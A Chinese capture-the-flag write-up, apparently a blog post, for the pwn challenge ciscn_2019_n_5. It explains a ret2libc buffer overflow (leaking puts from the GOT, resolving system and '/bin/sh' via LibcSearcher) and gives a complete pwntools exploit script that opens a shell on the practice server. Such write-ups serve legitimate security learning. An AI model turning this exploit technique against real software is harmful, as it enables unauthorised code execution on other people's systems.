ciscn_2019_n_5解题

1.检查是64位ELF文件,保护都未打开,RWX。用ida反编译F5得到伪代码。

2.有的人用shellcode可以做出来,但是不知道为什么虚拟机打不通,也没有找到后门函数,那用泄露libc地址做。程序流程是先输入名字到name(正好也是100字节,不会溢出),后面再gets到text里。(后面还跟了一个name没看懂,没有关系)。到这一步之前已经执行过puts函数了,这样泄露puts的libc。

3.注意这是64位程序,前六个寄存器的存储(之前文章有),第一个payload由覆盖数据,rdi地址,got地址和plt地址以及最后的mian_addr()构成(返回函数正常运行),得到puts的libc,根据公式写出bin/sh和system地址;第二个payload在填充垃圾数据后要加上返回地址(ret_addr = 0x4004C9),之后再加上rdi地址,bin和system。(payload2中添加了返回地址(ret_addr),这是为了控制函数返回后的执行流程。在某些题目中,不需要手动设置返回地址,因为程序的执行流程不依赖于返回地址的修改。 这取决于程序的逻辑和漏洞利用的方式,有些情况下可以直接利用函数调用关系来执行特定代码)(以后了解得更透彻再解释~)

4.ROPgadget  --binary ciscn_2019_n_5 --only 'ret'命令获取ret地址,在rdi之前加上。同时注意在获取puts_addr时,u64(io.recvuntil(b'\x7f')[-6:0].ljust(8,b'\x00'))意识是接受数据直到\x7f(ASCⅡ代码是DEL字符)的最后六位([-6:]切片意思是去末尾6位)往右补充\x00直到8位(ljust是左对齐(left)往右补充),最后补充转为u64(8字节字符串数据转化为无符号整型数据)作为地址。

完整wp如下:

from pwn import*
from LibcSearcher import*
io = remote('nodex.buuoj.cn',XXX)
#io = process('./ciscn_2019_n_5')
elf = ELF('./ciscn_2019_n_5')
rdi_addr = 0x400713
main_addr = elf.sym['main']
#print(hex(main_addr))
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload1 = b'a'*(0x20+0x8) +p64(rdi_addr)
payload1+=p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter("tell me your name",b'1')
io.sendlineafter("What do you want to say to me?",payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
#print(hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_addr = libc_base + libc.dump('str_bin_sh')

payload2 = b'a'*(0x20+0x8) +p64(0x4004C9)+ p64(rdi_addr)#ret_addr = 0x4004C9
payload2+=p64(bin_addr)+ p64(sys_addr)
io.sendlineafter("name",b'1')
io.recvuntil('me?\n')
io.sendline(payload2)
io.interactive()


 

  • 20
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 《初赛知识点信息学竞赛中的数学知识_2019_10_15.pdf》是一份关于数学知识在信息学竞赛中的初赛知识点的文件。 在信息学竞赛中,数学知识是其中一个重要的组成部分。这份文件旨在总结了2019年10月15日初赛中涉及的数学知识点,可供参赛选手进行备考和复习。 根据文件内容,数学方面的知识点主要包括以下几个方面: 1. 数论知识:涉及素数、因数分解、最大公约数和最小公倍数等基本概念,同时还包括欧拉函数、同余关系等高级概念。 2. 代数与方程:涉及一元高次方程的求解方法,如配方法、根与系数的关系等;另外还包括幂指函数和对数函数的性质与应用。 3. 几何:主要包括平面几何和立体几何的知识点,如平行线的性质、三角形的相似与共线、立体图形的体积和表面积的计算等。 4. 概率与统计:概率与统计的基本概念与计算方法,如样本空间、事件的概率、条件概率、期望值、方差等。 5. 计数学:排列组合、递推关系等计数学的基本概念和计算方法。 以上是我根据文件内容归纳的数学知识点,选手们可以根据这份文件中提及的知识点进行系统地复习和准备,以应对竞赛中的数学试题。希望这份文件能对选手们的备考有所帮助,祝愿大家在竞赛中取得优异的成绩! ### 回答2: 初赛知识点信息学竞赛中的数学知识主要包括以下几个方面。 首先是数论。数论是研究整数性质和整数间的关系的学科,包括素数、最大公约数、最小公倍数、同余、数的性质等内容。在信息学竞赛中,常常涉及到数论题,需要熟悉数论基本定理和推理方法。 其次是排列组合。排列组合是研究对象的排列方式和选择方式的学科。在信息学竞赛中,常常出现排列组合问题,需要熟悉各种排列组合的计数方法和性质。 再次是概率与统计。概率与统计是研究事件发生的可能性和数据分析的学科,包括概率分布、随机变量、期望值、方差、统计量等内容。在信息学竞赛中,常常需要用到概率与统计的知识解决问题。 此外,还需要掌握一些基本的数学工具,比如函数、方程、不等式、数列等。这些基本的数学工具在信息学竞赛中经常会被用到,对于解题非常重要。 综上所述,初赛知识点信息学竞赛中的数学知识主要包括数论、排列组合、概率与统计以及基本的数学工具。熟练掌握这些知识点,对于在竞赛中取得好成绩非常关键。 ### 回答3: 《初赛知识点信息学竞赛中的数学知识_2019_10_15.pdf》是一份文件,主要介绍了信息学竞赛初赛中涉及到的数学知识点。 从文件中我们可以了解到,数学在信息学竞赛中扮演着重要的角色。文件中列举了一些与数学有关的知识点,包括数论、组合数学、概率论和统计学等。 在数论方面,文件提到了整数的性质、素数的判断与应用、最大公约数和最小公倍数的计算方法等。对这些知识点的掌握将有助于解决与整数相关的问题。 在组合数学方面,文件介绍了排列组合、二项式定理和容斥原理等概念。这些知识点对于解决与排列组合相关的问题非常重要,需要熟练掌握。 概率论和统计学也是信息学竞赛中的重要知识点。文件中提到了概率的计算方法和统计学的一些基本概念,如均值、方差和标准差等。熟悉这些知识点可以帮助寻找问题的规律和解决方法。 总的来说,文件《初赛知识点信息学竞赛中的数学知识_2019_10_15.pdf》重点介绍了数论、组合数学、概率论和统计学等数学知识点在信息学竞赛中的应用。务必对这些知识点进行深入理解和掌握,以提高自己在竞赛中的解题能力。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值